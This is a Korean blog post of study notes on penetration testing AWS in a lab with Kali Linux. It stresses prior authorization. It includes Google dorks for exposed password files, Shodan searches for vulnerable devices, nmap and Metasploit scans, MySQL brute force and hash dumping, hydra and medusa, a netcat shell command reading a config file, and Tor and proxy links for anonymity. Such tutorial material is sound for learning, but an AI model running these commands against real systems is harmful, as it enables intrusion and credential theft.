brunch

You can make anything
by writing

C.S.Lewis

by Master Seo Sep 25. 2023

37탄-11. AWS 침투 테스트

<1>  모든 보안 테스트는 사전 승인이 필요합니다.

<2> 침투 테스트 환경 설정 = Kali Linux

<3> 탐색 툴   



<1>  모든 보안 테스트는 사전 승인이 필요합니다.


1

https://aws.amazon.com/ko/security/penetration-testing/ 

승인되지 않은 서비스를 테스트하려는 고객은 AWS Support 팀과 직접 협력해야 합니다.  


2

Ec2 test

https://aws.amazon.com/ko/ec2/testing/  


3

가이드    

[2010] What’s New in      AWS Security: Vulnerability Reporting and Penetration Testing -

링크


[2016] Now Available:      Videos from re:Invent 2016 Security and Compliance Sessions -

링크


[2021] Modernize your      Penetration Testing Architecture on AWS Fargate -

링크



4

https://www.comparitech.com/net-admin/aws-penetration-testing-tools/  



5

https://www.udemy.com/course/introduction-to-aws-pentesting/    





<2> 침투 테스트 환경 설정 = Kali Linux



1

https://github.com/PacktPublishing/AWS-Penetration-Testing  


2

실습 환경 : awspt 스택 이름 배포, SgIngressSshCidr의 값에 ‘자신의 집 IP/32’ 입력  



3

Kali Linux 소개 및 배포  

: (과거 BackTrack) 모의 해킹 도구가 패키지 형태로 포함된 데비안 기반 리눅스 - 링크 , 다양한 환경 지원 - 링크 기본계정 

AMI 마켓플레이스 선택 후 실행 : t3.medium(vCPU2 Mem4),

VPC(My-VPC), 퍼블릭IP, Subnet(My-Public-SN), SG(MySG2 포함된것 선택), gp3(30) ⇒ 구독 확인 완료 까지 5분 정도 소요됨

// 디폴트 vpc가 아님. VPC(My-VPC)로 VPC를 변경해야 한다.   


Userdata 내용

#!/bin/bash

apt update

apt install metasploit-framework -y   



4

배포 후 접속 확인


#

ssh -i <ssh key file> kali@IP


# 기본 정보 확인

hostnamectl


# 관리자 전환 : 취약점 툴 대부분 관리자 수준의 권한을 요구

sudo su

whoami


# ping 테스트

ping -c 2 10.0.0.10


# aws cli 설치 확인

aws --version   



5

(옵션) Kali에 xrdp 설치 및 활성화 후 rdp로 접속 해볼 것 → 취약점 툴 확인 및 tor 브라우저 사용, 각종 web proxy 툴 사용 편리    




<3> 탐색 툴


1

탐색 결과 대상은 절대로 직접 접속이나 공격 시도를 하지 마시기 바랍니다!  


2     

Web archives :      웹 정보 캐시 아카이브 -

링크


Serverchk.com 도메인 입력해본다.


특정 웹사이트


사진 정보 - 링크 한글


인터넷 상에서 취약한 서버 확인해준다. 취약한 네트워크 장비 확인해준다.  사용에 주의!!!


웹 상의 취약한 서버 등 정보      Shodan -

링크



https://www.shodan.io/search?query=fortinet

 → 클릭 후 상세 정보      확인



https://www.shodan.io/search?query=iptime

 → 클릭 후 상세 정보      확인



https://www.youtube.com/@boanproject/search?query=shodan

 ← Youtube 보안프로젝트 채널에      Shodan 관련 영상



3

Google  사용

inurl:/wp-content/uploads/ ext:txt "username" AND "password" | "pwd" | "pw"

inurl:/sess-bin/login_session.cgi AND site:iptime.org  



4

칼리 서버 로그온해 테스트 해보자~


Nmap 사용

# The -sV switch enumerates the version of the service.

# The -sC switch is for using scripts in conjunction with your scan.

nmap -sV -sC -p 22 10.0.0.10

nmap -sV -sC -p 80 10.0.0.10

nmap -sV -sC -p 3306 10.0.0.10   



5

metasploit : 모의 침투 프레임워크 - 링크 editiondatabaseDocs 

# Exploring Metasploit 설치 되어 있음

#apt update && apt install metasploit-framework -y

msfdb -h

msfdb run

-----------------------------------

search rdp

search wordpress

search fortinet    

search TCP portscan

use auxiliary/scanner/portscan/tcp

options

set RHOSTS 10.0.0.10

options

run  

# RDP scanning

use auxiliary/scanner/rdp/rdp_scanner

options

exit

-----------------------------------

기본 탐색이 되었다!!!   



6

Email 정보 수집하기 ?

실습 하지 마세요.

내용만 보세요.


해킹으로 오해받아 문제가 될수 있습니다!!  



[실습Skip] Harvesting email addresses - 링크 한글  


apt install theharvester -y

theHarvester -d packtpub.com -l 100 -b linkedin

theHarvester -d packtpub.com -l 100 -b yahoo,google  


Whois ?

apt install whois -y

whois packpub.com   



디비 ?

#

nmap -p 3306 -Pn -sV 10.0.0.10



# 암호 파일 생성

echo "aws" >> mypw.txt

echo "admin" >> mypw.txt

echo "qwe123" >> mypw.txt

cat mypw.txt


#

msfdb run

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 10.0.0.10

set USERNAME dvwa

set STOP_ON_SUCCESS true

Set PASS_FILE mypw.txt

run

...

use auxiliary/scanner/mysql/mysql_version

options

set rhosts 10.0.0.10



# CVE 검색 : NMAP NSE - 링크

git clone https://github.com/scipag/vulscan scipag_vulscan

ln -s `pwd`/scipag_vulscan /usr/share/nmap/scripts/vulscan

nmap -sV --script=vulscan/vulscan.nse -p 3306 10.0.0.10    




7

[실습Skip] Dumping hashes with Metasploit : 해시 덤핑

use auxiliary/scanner/mysql/mysql_hashdump

options

set rhost 10.0.0.10

set username dvwa

set password qwe123

run   



8

히드라~

[실습Skip] hydra


apt install hydra -y

hydra -l admin -P passwords.txt <<RDS INSTANCE>> mysql  




9

메듀사~

[실습Skip] medusa - 링크 


apt install medusa -y

medusa -h <<RDS INSTANCE>> -u admin -P /root/passwords.txt -M mysql  

칼리리눅스 툴 > 메뉴사가 있다.   



10

Reverse Shell : netcat , lambda  ??


DVWA 10.0.0.10

#yum install nc -y

nc -lvp 4444 -e /bin/sh   



Kali 10.0.0.20

nc 10.0.0.10 4444

pwd

ip a

id

ls /var/www/html/config

cat /var/www/html/config/config.inc.php   



11

Popping reverse shells with Lambda ← [실습 추가]


[Attacker EC2] 퍼블릭 도메인 주소 확인 , netcat 실행  


# 퍼블릭 도메인 주소 확인 : 메모해두기

curl -s http://169.254.169.254/latest/meta-data/public-hostname ; echo

ec2-3-34-43-124.ap-northeast-2.compute.amazonaws.com


# netcat 실행 : TCP 80 포트로 Listen(대기)

nc -lvnp 80

리스닝으로 대기하는것이다!!

별도로 테스트 해보자~   



12

Exploring AWS Metasploit modules  ?  


msf6 > search aws

Matching Modules

================

   #   Name                                                           Disclosure Date  Rank       Check  Description

   -   ----                                                           ---------------  ----       -----  -----------

   0   exploit/unix/webapp/awstatstotals_multisort                    2008-08-26       excellent  Yes    AWStats Totals multisort Remote Command Execution

   1   exploit/unix/webapp/awstats_configdir_exec                     2005-01-15       excellent  Yes    AWStats configdir Remote    

13

Stealing user credentials

use auxiliary/cloud/aws/enum_iam   



14

Discovering EC2 instances in our unknown environment

use auxiliary/cloud/aws/enum_ec2   



15

Enumerating S3 buckets with Metasploit

use auxiliary/cloud/aws/enum_s3    



16

위 부분은 책에 있는 내용이다.

2장~4장 탐색 부분이다.

https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E   




17

추가 테스트     

**

Using      proxies with anonymity networks -Tor


           

https://www.kali.org/docs/tools/tor/



https://www.yeahhub.com/install-and-configure-tor-in-kali-linux-2017/



https://www.proxynova.com/proxy-server-list/



https://www.proxynova.com/proxy-server-list/country-kr




18

삭제 : Kali 삭제 → CloudFormation 삭제  



19

시중에 나온 자료 내용의 많은 부분이 일반 보안이다.

Aws 부분은 일부만 되어 있다.  





전체 다시 보기

https://brunch.co.kr/@topasvga/3430



주말 CloudNet  스터디 내용 참고하여  정리한 부분입니다.

https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863  




주말 CloudNet  스터디 내용 참고하여  정리한 부분입니다.

https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863  

감사합니다.

매거진의 이전글 37탄-10. AWS 보안 아키텍처 labs : 300

작품 선택

키워드 선택 0 / 3 0

댓글여부

afliean
브런치는 최신 브라우저에 최적화 되어있습니다. IE chrome safari